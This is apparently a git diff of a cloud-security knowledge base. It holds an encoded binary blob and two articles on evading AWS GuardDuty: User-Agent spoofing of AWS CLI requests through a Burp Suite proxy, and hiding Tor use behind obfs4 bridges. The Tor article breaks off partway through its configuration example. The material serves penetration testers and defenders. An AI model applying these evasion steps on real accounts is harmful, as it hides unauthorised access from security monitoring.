zjSn(`lsh4jo%J>jzwBUDx{DMeeFSa9@`sVTd&`>5nIc>q)_Bj7FL7XQ@PDn-0`eO( zPYs2N=PfoRSy!*SjyTIo!;jg=5CbDSU14$6GO+G4^u!Ov`z|=Xf*9dK26Z0yHhFo3 zkMJ*@=LAEMzF3j`X1=*5hx!!0bPOYz=5c$4CB|P|bR#u;cCVpfr5!9UxWzi9u4}iv z`K6^9A(y|rM$Oka`}If71q344@_)Jr%FCSPddm++){j(V>Y$I+Xz4#yFeL-{_1S@W zV~uFtc}JyFjfcSs8LqCzR0__8h)|<&SV{wMaJ9Nj2=6Cr*S$5*@TR)i8x431!W6th z;`f3jZoF{$y(7Qxg99$&zm1xt*$M)Lmjy2zmHM^eA9b(w)#EzOQ6tp?eRsZqejJSy zL17!LAP{g+BkeDcIl__C1uz=9=M3s**NY}o z#aIK)Re#2!GxemG1oiHq7Bh)QVICD?$LZ0vqUEm&?1De#{FHsFXZM1*2j4dD&?x5c zLL373+a}Nw!&Cb4bWNPM0va9Z7!9T?Q{EFYPk#>#G*u%llQ?_utyOK{APJy==nz84 zg814T7+=rzdyKsk{RShTA2C+wjw7pOnjA8Yyf8KXVGFBi?ui4xFdIJOPr~omU3% zrmTUj@1)l=%pp7l6#<8VA%^>j?Hq(bVk;iN?l@7A|6%K_s>t| zN{xMw;HcP~!W6`^KN~M^w(>Vc5Od$InMl2LpFpzRC!bRiheKkDNmPd&w0Jw=@pc+& zK0z$ax8FxEbrim2Yfj1zzCiy??F`aozExE*p4^MDANRI!x1PprAfaIx-2U+nqx zDW0XrS0kQmoSrCxDH=pwJ3-a7U%ilq524_HA631jT-aQEHhWpR+;!~L-YgZOd>8=N zj*=(pa;Pd)*Gti#DQAYqee1cn&kGOMeR>nn`Th8c2)E;1HvM+&=8yuI2$TN`X*7u) z*#g$X!SWRM-H5HqQZUsYrsjB-mJz(0*kM)qTk!S)(Ch9jhBUp!*T0w+d9-zYrGK;1 z@g~a5(R1H^5$>23vvj#&5ab5|Bhlb9|43ZDM-B8aMgWZpol{rt1w&9lKL&)H5J|n< zCpKF4?K=pr#6paWFJEyVLYYtp!vs@wtKZ2#Z9@V~UbdTV?)>*g9378USe|O*9hVCP zS;SjO;Ufgy!w_%2&YQ3Nmlj~IS)n!_6~{dxT|||iFIk3LNe`8G6mYK5qN2ov)=f3X z;m_qj>{hnmXOt;SZ$Q^^vcME9Q6bPl2=uf}&~-&f^*hcGbtqOWj0e9`HMz;|C+ylm zDlLte`WaHr{m7(QXE()>pPsalt>GIuIS@MS0^S);}flgyI z=ABpY=j+O=o({G_1tq9#nKlY@`wLwXD|ozf|9>Ny9#{u<8t~k12qZ{c@H>7R;*hou zEn~!hWE($Ow7(5`^mjQb5Ckoq6jww(?V@k?2190*4F1+jJ>J(IR|L2``srqqj>LDk z5HU1vwx)rj%`N>~zQh9ObXAk}-JHc!k-^ zMQV0!HhHj{6&;su`>)$KLuCSz(tUOWA+M%@HdBiq6E*qVH{RL4*Z%Q_B6*#ZnUvu_ zCfcPi73|=R88T(JjF)iqg{12zConovYui*x+E<>}Di z8+7>&wL@AY%{23z_&m3)ZV7_W#aA)fhj3*J1oY;y;jJ&j8RgZ&dA_nCd!-}xLDy2& z!f3ez=w}IxeoqsC2(jR+i3$jkN5{?Sc&f`nd2mg~qjXZ;mgZnVfe|D)gfb&Nn8%_t zV7)ZC(qc`r5z28+@(#4LgOvK22Z%7+D*9mSmXhIB;>*CtF%co8cG6yd3Qk}m)QRTyy6wwjK){${s&|r z#n$tK!Lxm%y(<&Slq3XH^5r)w1*xEw@)k5sJ*TnEHjA5;CjkW?g4QirO`j2puHNhi zN7o6##fD2IVC39MO~B|Q<$JIy8d2)!{`;>QY+lZdZ|F^Y$N9Mb;6`HPR|Xc%QJHsu z^hwlpu zkQsTk!!xSuZ>w~EY)?#_(-+O^-OMRzrnA7g{AOl`rDcA;nVIxjg*mXsz6syE##|I| zoJoCs`TiNO`DhA;&w@ih(|#(-znMSgH&Gh6gthZrjgk+V%L^x%Ri1ZA8EqwbA!b`Z zxz2w+89)tC{16qtT+Va)+Vrm${S-YfngC;P0`JbWN;X%Y1W`dC$gn;(j1*+}LO=ei z#@fFIyq&{Rv&WTE(P%DgIL2ec(OT-TUmu*-WTVlO94*-1!3vrG+J7}TzQ&?PG7?c& zrF##Ix6S|#MD?B*j1<8I4()R*`+rT*Xo74>CO(85ZXnDm7+?HJzO9CN-MYu)<_eQ& zeAcZl8ZD8=4I1u>8>#B6F=AKtR)27CEfy<*RORZd)sJB5WjNV}OmqD7;=`}k=W*0W z7yL_+qCTQvMT`TdQ=mTeq7K4VvC=B}5nBU+%;|dUDHa?xmY*v*Bp+9j6qSPqp zps9SW_|XQn3m&7m|Jb-6-@z$9{?9jr5rE%u>fb4O-jN&|8h7a?d5l}J_-(v9X}q+l zJbNAq9t1k<_>oWqwM=-C@VnnyY<2=E>v0+R;2~=C%_WD@z;gp_)R*8N+xOfC)_bA}}JiI)}L#&ZlfUOmJSz2x>^R^&|ZNqNzIP3~Xz!f1V|K$Mde zF}?Zl*l{A#K=4Dw@Ol|^qTL@pT7EmxED3L%EQS2b=rt$8-~7v-1OSg`nm@@{sO0M? zk^Uz$jt+sD$^Q1t&rc;xA!QlQ{Qs=$#(W~6htH#@UZ{;|KJ7_<5jN%n0tLsZXR&%8 z^;dKW>>F^3>c`(ct}i8aZ`ai)v|mK^5Tv)=`dpj~-Pu%Lk3a%)e4ss}W-^9ATF!8$ zMF^7wJ~Jl<`>(HSApI9u=v>2SpP&P+MxLMCyiE7aznvNBcjMg%zwKb1S1r0DV<@b%f)!s^Zk(#S1OCOi$C3CAQRO@LK9ZbX0H*hnC|cz%={ z=T+<%w;B7rgyv^J_U*ahT%tM3ZRphSiv!d>-ciU<2ty}kHqT}!9z9_Pk47%#ytuRO zC)XQRYApL!r|&6Ac8Or8`0tBT&J9=|2peZDO1G)vtkOdYw;-Fp5USkm53PwyRP%_0 zd3a26+-iL1WnECF{4`QUJOw=|k`_hjZ;sLwmHWD(+s3C0Xm#K`-OY zv`!Awk)JmFg|UtlR5{A3Q&VCgktBI3BvG{hfTE$Cpz(yYww> z?L2A5`pg3J*Xjw49>*~^^KU=v@8U1Ku`}ALF6S^xw&%agi9HqUu_&MPeVvrDZp64b zX0Q&uwW;KMk}vUXv!S*FFD!WOPL{t<4acq3S<7JXE=)9TcKpnNI+yu7QA{n6p~7P! z-XiANEkGhCZIwg<^GH{q?#$KLikpHHt4+W0ePKPLZzI{I!&9vyUjw9y4Mshns?NJR z)3HCrbnom%D6sJm2%mCr{7LsmzVkinn782qO4~~hQut++T+<)N5$pDk-Es;2GmSLe#@15ACVIT7*ONE_u28vn8F13_!N~S z*vNllb$jHW!ui@lcubYqnG-Ln$4wBQ9ZZxY5yf;Zk!S8BIw@j|LK8H3r7zxPGj;pn z%_Au`c&`NptMlXt7}jwr;o_Iet?fq=P7iSmROW;z&A3^t73G}jNum-u*Jvd$%ejne zN2au3O}BEqUV+D5N2`PLDsk*%!3(#CN+wU%rE=;uO2^7FIsT`#bBnz`k3GVFnjJ!($E!tru^<|@)xX!tF zwl#2J1<3tlcjj5I9=E5P5z^H%_%cey@X&7mMxDUB5lI5^-I?BTU`56376JyiKWdb+` z3fjZCaT=wVOq#kMLfjQb(2t9KiIiunLY+c2nzaL}rh9yK@FJ<0SIP98z51g|$Vgp|~!e)lP2cFf@- z{is!_>CdRD_K)jSGIpAPs23eK74o=DKxTyVU9Fa*=!SRPiky#Ao29aZB)9puPr-bG zSkD<)wy)^dP8G}rFTu0YCEh<~+zl+THKuuM|6c&2C|%bl`Q;q?IEOC##ne6=mZOUY zO=)>CUy#@j_ZM#*L!>!}*m4J{e%U#Ncq-HTR7rT-*wScqZf@vSmp$BcJj%sqKVAZ^ z?{IY(Rb*jo)9w20G>>?rsW2~X=hgu`Qn>c;uQn)stZ|u;629{MpNI5Owq?gk%Am)p zUF`BEUYpR0j-#*Td$1lb{m&s(G|IL{-uM#(?F+FGxcy$%PKyYlK;u{BrS-4d(m~yl z&e&UcQ1yN+tEj?GDV0*`hMm7`0?Rh2t2kBbw`y4p$T)GWQf5`J4|CBZ;cRxk{F0j= zZVj&P1p$zJjfjyNvKy`Pb>(8!X2HV19@fjvBP~0c_nc{T3&vaHkcU zfLlM7;Sg@rK(+J$I`KvCM@heP^GXOL4f4stFZ9l6^tdQBc%lOgtaVcDltw)>4}rcE zNMTzdccH@Al`C+@2b@j9X9=KKz%(`kt_}ZvA-;SLnZz$uN1dVpJ~5_o6r`oXF1ncU zENq2SS*$fpXl;f*TBIvVgwXoRxz*Qd7e#4635xyYxq{_3j?y%1TI)~h3nI6_@oJ$> zGNy#)uS$+XyJ_S)J$+zY=Jp?Vwq-Sev<* z(-c48_Mcv#)2&F(mi72Ua(>imzc!&W4kD7g_Rlz?xY(`;L#uZ9tfB}k->uNN!8(vk zDY5GUv>0`Gp|qPwpd%)U;g4u0uvY)tK}C zbhOYfL<-B-pLRf1sOh6StBZu}vjlZrqwGb~=#&L|1lw}Z+ASw?Ql7Gg^J~Olnh(e6 zYOypex@>FN8&?{un(?XM#oURPxOZtoZ5x$3?1kSeQbJLqhuR<=x$Q3V;TMNA${C9? z=xvPWp!7S&n#PT2NxNYlHHg(GR1YpbPUb;>VJC!R?(e0W=KRftL10DJsb=MT|_-Qm2IWQ~jVV z{(Wq3#MlU1;FV29Y@XmQ%y4LbC6b<6+$gmksmM*vSzV%pYcuMT_o<%LMJq0=Z0LK8 zjUa}rHS89$#-CQ`1c7BWRQ31qj0+u9Eq>$ez#(Xi2QSc-=a-I3Na{ivh1T zitpuEva9XYhjNxnry|7Xmh~Zh^)J(pOT6kr4m!VPZ`Bu?_AKb8O37yXy7v;6zNX;^ zA@tf`;`C7er71lw*i}xq?P)`+7v;*b-0?S_1x}zWy%pdDGpQA76hg{^l%mXBS{lro zs&tSe$}4?IdZ@PwHrfL9J#^eTsdY_)P-Aw;hwo$|> zI{&A!RNRY!Hs-tQvaQVvIP9$~ovd=Db+sLDH$=YBUtCT5+zOma4O|_qXvFwltkH+~ zGn1XVR0FXyM;+GnYpR_5E0DbQ-_$7Awc=k5lD}?QhPpl7*wzB}iY!YH z8SWGPl6vFK^;XEB2!5)%8n*tb z8=7JW4(!-s4{jKuR;nPZ*C_OD=vF>`v19yGaF~U5PHh zt%8ZCqAD$$_TstSgn^!CX!=<5rg9odj5I&%Ap;)WT^L72;(Y*LJ4~Ng=J(sh6I;G- z!-S80U@B2XX``-4;FO8G42q@dmY&k$0ug^HXmfo-J!?yqdlb|!L#bs+s4Q+9EkztO z$dyEu8jC`o#_iRKLMbdMrX13&`L@WE;+_hfc!ZFPDhRWmq~qW^DT1~xS)`%dc6oOw zR6pwmU56=yR!SGPLoBc)3|{S!ruF#SV7{g-bf8Fa2|)RdQ_s-6qw3YLN}*V}6i`SY zidsjX?86a`nyY_?oY`)2B9ErQqL~* zwY}MR`h#d>$=JSW=!xBVMRkgU_voa0- z-^}%w?B8)@wdGwgNYL&{k_Y_&SSL*rRzIpCRqk{V9CA+MLcFro9z~gh=6jKJS9B}o zsJ`vtcVt<@(!K^+ZbV?&cB@qoXTMPDFCDrsNz zA}e-ZhlWW>#+7Apl|>j}@`w9|UW2-d(Nz}LU#LnSzFtk58ednRzZHGt3d-F`K}yjO z_Zx{465C$OK9DHSMip2%VC^>#dMVa4*Eq>YIG@%DUn5Gpr6h1D_-=k4tCyen^R?dH z_bw7VWW`^4?3?iSSupg7Yy4v6hVpBy0jY@YXfyY zcQFLO0oPJ@Dt_Ls?k~-YC~V!aBptWi*g(TwU)<=?0$&-dl!+RIcBnS4cXx))8or*2 z?~S_f*^7;2=v%3ZNGo_wx%O%k+W5Ll)@gs~<=b#5?MkzD(?_)pWm)J_5CaY0)%>MF z+1Tp8Td58$ySd|Ux|X|oy1}C!Z()2?L|~=j(5=hR4p6JWLR&a!(HFXhLTUZ@`P&WU zB;(D=Wt}GlnX6p}{@14{I;1pyg}pfqA=G~91wg#V(gjQ*m6B#Te&E~c>vPJ+>${br z1m2XgM%6&F-gD>1*~I3>Sfk$VQSD3nT??A04wpY@lSon`HmpQymgQFOX^@?MwUHcH zGEfRmP%0&xxZtY404Qote)-zays#+ejGivG?Gv~jQfk9;@UK7E{3-L*F?@;6x2QFb znwR=|cC|0tGsoZLs4KB7RavP}?nR+K5)oMAPhORStvAralSrrbbw*O34c4KI+TXmm zADJQg4EkG+t2YKUPO=ul}>IF}_*43p-N5j1JQn|D=C$yiF;S)O<0cJ!&$ zE?lyQV71q!c+q>R`B9vYhg%aQu^^D3%*}+}5tECE)`a_)|Z);(}sao9N z60AAUCHj(nwp_fr5+Lf=L(ii01{i-k9M)EG%P;d=+{$xEG2T75Uf5@?GN8;=cbWLW zHz$;+O<=f*8MiWqTQ-f#jOXP7TPAj2aP?C2GuQi)B*0q3UYB(B(FXkd)_ds$W#!hR z;^Uwyx2o^;F9T(L9j}i@;I0MDnTt^{l+cO|QlTLGD7%>cImQA~6%u94edSAAtkqw- z^U7uvHD`>SpXGyp0LE#S52J`hhHD=ru*xs3WxzcJ`C$lYv@SZ(Bnz#`K&=hG&0}mE zx4T@@i&}>3@6^08;13P7!#+M(($$X?>ko#`(Nja>2`cxu82PM(AhQB@jq?Th=?8?Lqg%UD?#K zT2ew?KdY3;`@8hG)HjBq7zlG9(*Re&@}mF^BF};#(j=~AwP+8#K1jDza29*&T%@;# zvJvZU1T>XNm}twPB)H^0sN==)zLF7ScF;aNQUfMVyEAr9K74xt{RQx&pZU^CfbDBd zvPPOt0&KrF(WP?_M(2Yc!*m3%`?3LFl8b8d?VnTv*miuw*DRVBWSsR@QeN!)Slgt( ziiT@fxE8qf;V$(o)L1dt#eB5ZaQv8ZS-_2vQjM%SurPjZl8tV~1j;?fp=TKnz*bE<-xEUT8?AY>}Tq z@fRQzQc5ex_1mH4NTpP1L#0Ahgi+IIg!J3;> zk5p%F&ijOP+T6yqBLMAr27et=J$-<;WCM$sg1a8a?N$#K+OFIBebNK4-E1<@bX-4r z$}TgGM3{6OQ;pS+3h0U`-rbk=VbOYhuuPxAl2(b*?=eU%f!D~ZT^5A^!q~&6r`e&Y zFErME%x9GR606d7^8Kx?AW%1Nm*6Ky+C6D#D6Z(_j$2pb?+LmWaMmlI+LL3iL@J_3 zyWEtQOu92bk9?;F%T%>HC0a{$@kQJ3Tok-5st3P#c>(k;2>8UG9;(+W&ahAkzZ{B@9}brbTVpSjxVtADfoK6MW_c+_4&UMMOm z2~r=2v8qGrBU(C-68cArPN=zaaMrSd#7a9-vhx!EA-&l8pdDmmzSp?CqL4`1=fJv6 z*%gH(Ys4Q9H1J zENitm^Y$L6S3_%O*qZ*MEBx={5B^KOr9q=#Vx*FGOv15;9WN?DMnRej0eV=>C6lDW z3)#6$4vn$a`tb!#?a=rLVhZTbxqR^7l!`2B8x#qw>NmQq2F$J-tGi;m5L~DB+Rmgi zUYX->d>axAeDxIXH|BH>7BmZ-GO_Kd(n;@k{I)f36RFS)q%i)1Ihdw^Tpj5DPI8OL zo2%|zsYpVtO_ok5<8#o}9ImuJeG}g*whiudE~Qqt=_-j&x_jECVACxZ3tAcOaY}XJ zMBOue{Txy-`O3w99@?9zBzQ>Yl``Pvko4H^B?K528fO)}kK)cxSZf-puF4t>^t~Nd z0;e7tb3X=Y+#@HVcr~cX02=D%C)W#|x<{ND+ZmE>b7uYN^p)8QIaa(q14U*#O!Ink|)7lnsr#>6SMw7}XMGzEgr2O<>xg zd5Gjd^q32lzxtAPTNHJHn){VAK!&Zbm_I#E% z{5&5_+=IJJ0M z?Q!esqJTx#_>+>4s~M~E(n_V*F^3-5j}fL`c51NG>WY<$kvMr!Nz)k~?xB@{wdLDeJXMJNsxizN| zL>Owf9o;77#*v#JQ-_e9cw53LVs%Wd>d|}`5}%l+$)Q*{*;Z zwoZf29vP|+C9TFIb5`l4`2gf=oo!UhfvhH_ri((RrpEC4qgzW$;ZZrC+W6H%6oF+s z;5q4LuzP4HNKOr|VyS6`o8Ri7O9dy81k)gdY=8~>>5wV~+wYrEPy>`Ew8@hcebm*nKpm8Tz&|c{wUm{DjJjrN1=sX3 zrsvR7jbd!ZzLO)Y@Z#mH5Fb}u>!fwDiifnVV&Bu30iDF6^a0)HY|bK@kSY>2=!CAs zU7DU-i4eMX(y3~sKmSva^Xa&p+#knis8w*VV@1c&re+Y+rRf=ym&fz+k3c+a3#GP7C0?n&UmqT8y|1n zNfvwFOx=$(RVPm4PEogF39k~CzFGJEahd~ERPE%gPSQ24oC_%~W~r9OWeoLUOW{?& zS7_P8j@_VZ#0M3*=kHpeF2ERQ)>CWzbd)4Ig2*;~lB*e`1~}Xo7t&wSO|2IVz8m#W zdTsyL4lZ#wxAE^&_^|b%IW%5!0#CPxLTk0JF8)B4_BjAu-Q@a?Lhe$@G%Ix)N2RKn z(kA~fu#c?DJz86-M^O%?Io?YZg8;tKmC&PM+nn_v1r^4rR}9*Zvth^|f8KEJcss)u zu;&qteU?I=VCEv_EQO`%DC$aVzfszqQt7Iv+O*3FAh~?xt?0usHD82KoPp&dszr!d za|K$EkgR?TM{2fuPrKgjr6LBb9fUhMvB(;KYS_|*W`HbT97-~#eJWI11CCd5#)9+W zLTV0sMjT+8NM30pSN1y0Sa$KI)dwpgO`C`uwoLs7_q|3QD-x&#g?OTnY1DvS4k_)T zue_1eNGnk6cG9;Y0d@b*;5T)7R@Y(w;w>e1YY2I$V>27lD%i$7n@pQOeYWpzT zcKO<{Ixt!so(uT36}-0a2{8&Z`q{UJb;T!X^^hr+x+eC=`btVQTN4!Z9)&0!%}Y^r z;Xb3}FF%(mxl*bQZ0gw`{1&1TGrwv_e?HNv|P}gmU+Yg}T;NewTbkyDYpi zJZ`y+g}R{55`+mT{c}beg$<@d^Dvc({CS z3T{9bCa?U|lD)6$DZIwfMz_Ophw%c8KC#2gBE%)aVA3lt;gtbJes*o(;g`ITU4|Pe9 zY*1ZLUgeOJ+R%Q86^87A8EwSh`W5ec{_F|ml*~!K-E^d(2IwAQ7t&j)vZV0UOPeh7 z9i+Ox9#J7xh2fDo`&3#M#UJQ!ABlAzEujYA`U+OAQZlU4;z1gGN-l4(N^7mPQRAYC zb{^zt=i=pKkk|gz2Ist7S|}#4 zGSHKQwS~;_HywLA$VUFF1KDWF$6CW%qzeouXUc#kMOoHmU|v940()32(n*ip!>KUV z$~&2Gnz$uBxwAV+td|ili&vXaJ0+`CTEc+ab{+WagcWAkPkpxCBS#5pUudLGfizkx zi(7q4K<7$nqkwXg>z4QZa&nGNVruz^FNln-vwjt88sZCMGZr9Ae%(7}y9e=l$Lfwb zmuM=JG}j!xQ<9|o_G81W@h1fwQia#zu3jUBQ3(NL$e@T9WOi)mAx#f%e>Tuz&+^a} zS!@C;8~XcrA7}LssM$8tbr?={qeiSde zOcgE}`;*sU8*#*JSl()5>L2O{uEHwiU05inr>+6kDk7^nsiAg}25r8X&Q+24KsyYj zS)K8Lz2yT0y3kUz_-s=?cY#{Bkl#>=K@OqqD}!=zWQ`&)4MXA+5`qd_zU6-Fs)r^a z)}|*E{ofs5lWW!AHizsp@wk9cT*Nol_ZbfmbANii2G3aR>^`nAwYi#uFpkim4s9mQICi^yJt-D#P%MdAf(49*fy^=I;q%kF@ytkK*v*jfSk1`)k zsYQ7C)loX1SKp7O;1V)cb4Zhr;ULwXn(}-~nRAr%7T}C6Rar~}y*D_I5=+`GA%P^& zAZaxB^RC2vyt%dqdtH&%AQeB5s+2ey$O(=Q$ zg?zt~S#Ui@Mrln-4X|{-t!m&>Bf0yL+P~C*PJg#@mmUw@={=iTp@p%H(@NWwj|E;C z6)!PIuR!rs7N;kwN`^j%Xe+QKp;m%VUeKv#4WDcyj;ZJE-g!h`qk6yS5p`|qU-{73 zyJM)-SXD`=*_0||)Kx{#FP+kH&5vlwu#BlTe&oIg~loLvivToquPK*`&~p+H!gHWEl`3r z30%q{3eo2(pAtfiBbka-k`-xF)XraqU(MzRhgjn5VsWB@=N+**3T{kMo@KdZ>ZqXg-dw90` zW6{&Wv&^_Q5Ws%1>nho%vC!~-(9#AHMS|=gLoZdTxU#%C;`Srwpn*>tPfgkI+P@v= z15Kyk^~E%MhH_j z1ynjkx~9_h1Rb<>b_vnqly5i$PciQWk6Msn7Z6)3M)XuI@hcgPwqjLIZOkKWWUno!~blQ@>QcLD8?%XMX#!u*_yHDk=#;Jn zT8|i5!AeQ#BgQxi25ucSd$kLf1|{626h1_^BpvbVjaxlsK{nYDOZsJDZBh@pR&C&1 z*o=N=f9=Tm0R~^cbH`+GL5{g`eFnMu`cU z1i%Xg^>#_lERuOG^+hdGrh74TafM)^0<|EVsxj16Zxj9D+F zH|#j|mtUb_739Q%3{3??iXAXatYI}cu`+b*P)Gm^MH00<3fj(}5?W+DFD2cEj|`O( zX}V`znp!PXcl|RDRbv;omhy70EK?(mJb$S)*+~D1cj$Chy-qqw$Gg zK`>ds?f@XS+64!Y_fJS4LbE|Zs@soxIbGW1#_7nfb?~FKS!b-;-`Zp90pIu4Cd=!I zl&XbrS$d`UZn3FBoQ9gJ4Ol5hb=rrg;joG`>3ZSI@7lL5&o7kEU7#rRD37W7W~V0U z8(QC}p!Owy^{3N99CAwop>ktt@R$!u)WKb|(X^*IPp+S>tWF@+~sjMQJ#aPbyw#vtR2wu=Do{`EA0(y*lxSf(~;332~IgVIeEH3G7f|D zaG&-ODQDKhUt;QwpbK*k^N57xTM5a_L0HYk%f}P<)9XNiM75v|otfPQrIXAGg`~me zr;M{dExuh+wUxB20yOB&>hj7<@Onxm?^$3@iAW!oMv!5o^17<4-D7=Zf{h1|SQHF!r@zqY!9A zxNnE7_HSEADPFY*$~8a_&-F(vBYT6M=V;0MspV;^z4(x{$i_1z?bcQi@am$Yevk%b zOq=OC^)VFS*shB}r0^on$_>tK!oB`6U@N z>rxR#I#$b-KvPMn^KjlUEP0p`oIdEhTG3_^)2Eq+$uK?k_=O1m4IqEx&mDi`FOU1Wf!Hs6mpIR-9VsenW}~C8Mn$}?F;*u=4utMha~});(N@R zqp|;Lp9;IM=VMURQ?^FwfoGjFhb4-eR55`MsoQG{9W}BZ1zi&Jdc9TJOF=r>B3^SA zfz^c@K`ykN#Y)B1&B@P4rVx%uEL4upIXdu`@YW@f0nmtHS})Lo+V+0`6jLr%4W%__ zF=fSlM1I8PsDH3Xy|!`2CY1`#H@z+IWU1R*x5@2}6nMR*kDQ2`j zrva~u3qdO|(e@jg$BB4!Qz$r%)l;hKmC$jxizsYQhg+g!rAmdpMAL+o;-0FdvtENG z3P;X*!8wc6wLhsLU3)ahEWK8DHL@;eg?>vdm5jFD7?+)};^nTofFD(mtVuFii1oTf zUU9Vx6{=0JomN$hxhy|54_$f1r&j5QbiDG2(iVDOwL@KLs75THcUbgW!mL=*n`{ZX za$A(@2GQm!W%yHy!i%B;3Z<8(<>sh^L*6xEb)kT#szRT46C8D~3sm)*hM#kwy=U_R zT>kf*oNaof#+qq;34=YyQ;4oMl*`!QH^rICYCq=NrH=}q(2+(m?L$L_rW?QOLCaoA oiE2KTV(B^cSklrneKYO<0nV8KRn)|9+yDRo07*qoM6N<$f<#|U$p8QV literal 0 HcmV?d00001 diff --git a/aws/avoiding-detection/guardduty-pentest/index.html b/aws/avoiding-detection/guardduty-pentest/index.html index ee44b9c32..14a29db52 100644 --- a/aws/avoiding-detection/guardduty-pentest/index.html +++ b/aws/avoiding-detection/guardduty-pentest/index.html @@ -1,4 +1,4 @@ - Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud

    Article by Nick Frichette

    Bypass GuardDuty Pentest Findings for the AWS CLI

    Thank You

    Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.

    As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.

    This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.

    This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.

    As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.

    Note

    In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.

    Burp Suite Setup and Usage

    To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click Proxy settings.

    Next, scroll to HTTP match and replace rules:

    HTTP match and replace rules

    From here, click Add and enter the following values:

    • Type: Request header
    • Match: ^User-Agent.*$
    • Regex match: Should be checked
    • Replace: This can be any string of your choosing. Ensure you preprend User-Agent: to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.

    Click Test to see an example of what your change would look like.

    New match and replace rule

    To finish, click OK. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.

    Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the HTTP_PROXY and HTTPS_PROXY environment variables. For example:

    export HTTPS_PROXY=http://127.0.0.1:8080
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Bypass GuardDuty Pentest Findings for the AWS CLI

    Thank You

    Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.

    As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.

    This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.

    This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.

    As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.

    Note

    In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.

    Burp Suite Setup and Usage

    To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click Proxy settings.

    Next, scroll to HTTP match and replace rules:

    HTTP match and replace rules

    From here, click Add and enter the following values:

    • Type: Request header
    • Match: ^User-Agent.*$
    • Regex match: Should be checked
    • Replace: This can be any string of your choosing. Ensure you preprend User-Agent: to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.

    Click Test to see an example of what your change would look like.

    New match and replace rule

    To finish, click OK. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.

    Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the HTTP_PROXY and HTTPS_PROXY environment variables. For example:

    export HTTPS_PROXY=http://127.0.0.1:8080
     export HTTP_PROXY=http://127.0.0.1:8080
     

    With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:

    SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)
     

    This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, add the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the --no-verify-ssl flag.

    Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.

    User-Agent string in CloudTrail logs

    With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.

    Article by Nick Frichette

    Bypass GuardDuty Tor Client Findings

    UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".

    AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

    From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

    To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

    From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

    UseBridges 1
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Bypass GuardDuty Tor Client Findings

